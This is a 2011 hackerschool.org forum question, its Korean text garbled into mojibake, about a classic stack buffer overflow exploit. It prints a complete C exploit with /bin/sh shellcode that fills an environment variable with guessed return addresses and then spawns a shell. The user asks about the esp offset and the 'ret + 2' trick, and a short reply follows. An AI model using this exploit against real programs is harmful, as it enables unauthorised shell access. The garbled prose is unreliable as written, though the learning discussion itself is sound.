½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   jaewonm
   BOF Áú¹®

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1486 [º¹»ç]


#include <stdlib.h>
#define offset_size        0 #define buffer_size        512

char sc[] = ¡°\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46¡± ¡°\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1¡± ¡°\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68¡±;

unsigned long find_start(void) {
       __asm__(¡°movl %esp,%eax¡±);
}
int main(int argc, char *argv[]) {
      char *buff, *ptr; long *addr_ptr, addr;
      int offset=offset_size, bsize=buffer_size;
      int i;

      if (argc > 1) bsize = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);
      addr = find_start() - offset;
     printf(¡°Attempting address: 0x%x\n¡±, addr);
     ptr = buff; addr_ptr = (long *) ptr;
    
     for (i = 0; i < bsize; i+=4)
           *(addr_ptr++) = addr; ptr += 4;
     for (i = 0; i < strlen(sc); i++) *(ptr++) = sc[i];
           buff[bsize - 1] = ¡®\0¡¯;
     memcpy(buff,¡±BUF=¡±,4);
     putenv(buff);
     system(¡°/bin/bash¡±);
}

ÀÌ Äڵ忡¼­ ½©Äڵ尡 ÀÖ´Â ¹öÆÛÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¿¹»óÇÏ´Â Äڵ忡¼­
¿Ö ÇöÀç ÇÁ·Î±×·¥ÀÇ esp¿¡¼­ -offset À» »©ÁÖ´Â Áö ¸ð¸£°Ú½À´Ï´Ù.

Àǹ®Á¡
1.  ½©À» ½ÇÇàÇØ¼­ Ãë¾àÇÑ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ¸é ½ºÅÃÇÁ·¹ÀÓÀÌ À§ÀÇ ÇÁ·Î±×·¥ ½ºÅÃÇÁ·¹ÀÓº¸´Ù lower address¿¡
Àֱ⠶§¹®¿¡ offsetÀ» »©ÁÖ´Â °Ç°¡¿ä??

2. À§ÀÇ ÄÚµå¿Í´Â »ó°üÀÌ ¾ø´Â Áú¹®Àε¥ ½©Äڵ带 ¸¸µé¾î¼­ Á¦´ë·Î µ¿ÀÛÇÏ´ÂÁö È®ÀÎÇÏ´Â ¿¹Á¦µé¿¡¼­ ÈçÈ÷
int* ret
ret = (int*)&ret+ 2 ÀÌ·± ½ÄÀÇ Äڵ带 ÈçÈ÷ º¼ ¼ö Àִµ¥ ½©Äڵ尡 ÀÖ´Â ÁÖ¼Ò·Î returnÇϱâÀ§ÇÔÀÓÀº ¾Ë°Ú´Âµ¥

¿Ö retÇÒ ÁÖ¼Ò¿¡´Ù°¡ µÚ¿¡ 2 ( ¶Ç´Â ´Ù¸¥ ¼ýÀÚ)¸¦ ´õÇÏ´Â °ÇÁöµµ ±Ã±ÝÇÕ´Ï´Ù.

  Hit : 3431     Date : 2011/05/15 04:46



    
jaewonm ±×¸®°í NOP À» ÀÌ¿ëÇØ¼­ °ø°ÝÇÒ ¶§ offsetÀ» ÁöÁ¤¾ÈÇÏ°í ¹öÆÛ»çÀÌÁ ÁöÁ¤Çصµ ½©À» ȹµæÇϴµ¥
offsetÀ» 0 À¸·Î ÇÏ¸é ¾î¶»°Ô ½©Äڵ带 ½ÇÇàÇÒ ¼öÀÖ´ÂÁöµµ ±Ã±ÝÇÕ´Ï´Ù~
2011/05/15  
helloman 1. shellcode°¡ ¾îµð¿¡ À§Ä¡Çϰí ÀÖ´À³Ä¿¡ µû¶ó esp¸¦ ±âÁØÀ¸·Î offsetÀº + or -ÇÒ¼ö ÀÖ¾î¿ä
2. ¿ä·±°Ç µð¹ö±ë Á÷Á¢Çغ¸¼¼¿ä.shellcode°¡ ½ÃÀ۵Ǵ ÁÖ¼Ò¶û +2 ÇÏÁö¾ÈÀº retÁÖ¼Ò°ªÇÏ°í ºñ±³ gogo
±×·³ ±Ý¹æ ÇØ°á ÇÒ ¼ö ÀÖÀ»°Å¿¡¿ä.
2011/05/24